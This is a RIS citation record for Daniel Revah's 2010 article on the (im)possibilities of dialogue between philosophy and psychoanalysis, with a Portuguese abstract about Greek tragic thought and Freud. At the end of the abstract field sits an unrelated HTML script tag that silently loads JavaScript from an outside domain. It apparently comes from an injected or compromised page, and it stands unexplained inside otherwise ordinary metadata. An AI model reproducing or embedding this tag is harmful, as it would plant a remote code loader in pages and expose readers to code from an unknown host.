TY - JOUR AU - Revah, Daniel PY - 2010/04/01 Y2 - 2024/03/29 TI - Filosofia e psicanálise: pontos de disjunçãoPhilosophy and psychoanalysis: disjunctive points JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 11 IS - 0 SE - Artigos DO - 10.20396/etd.v11iesp..897 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/897 SP - 17-48 AB - <p>Este artigo trata sobre as (im)possibilidades do diálogo entre a filosofia e a psicanálise, atentando para tanto em alguns pontos que separam esses dois campos. Em primeiro lugar, considera-se o que a filosofia recusou ao se constituir e se diferenciar de outros campos do discurso e do saber, nos seus primórdios, na Grécia Antiga. O que nessa discussão está em causa é a filosofia socrático-platônica e a sua diferença em face da perspectiva trágica, que é abordada no âmbito das crenças religiosas gregas e na obra dos poetas trágicos. No segundo item são recuperadas certas conceitualizações de Freud sobre o psiquismo, com o intuito de indicar a presença da perspectiva trágica em sua concepção de homem. Finaliza-se retomando algumas das razões que levaram Freud a criticar e se distanciar da filosofia, inclusive da vertente que acolhe a perspectiva trágica. As (im)possibilidades do diálogo entre a filosofia e a psicanálise são então apontadas, considerando-se sobretudo as relações que se estabelecem entre esses dois campos depois de Freud. </p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -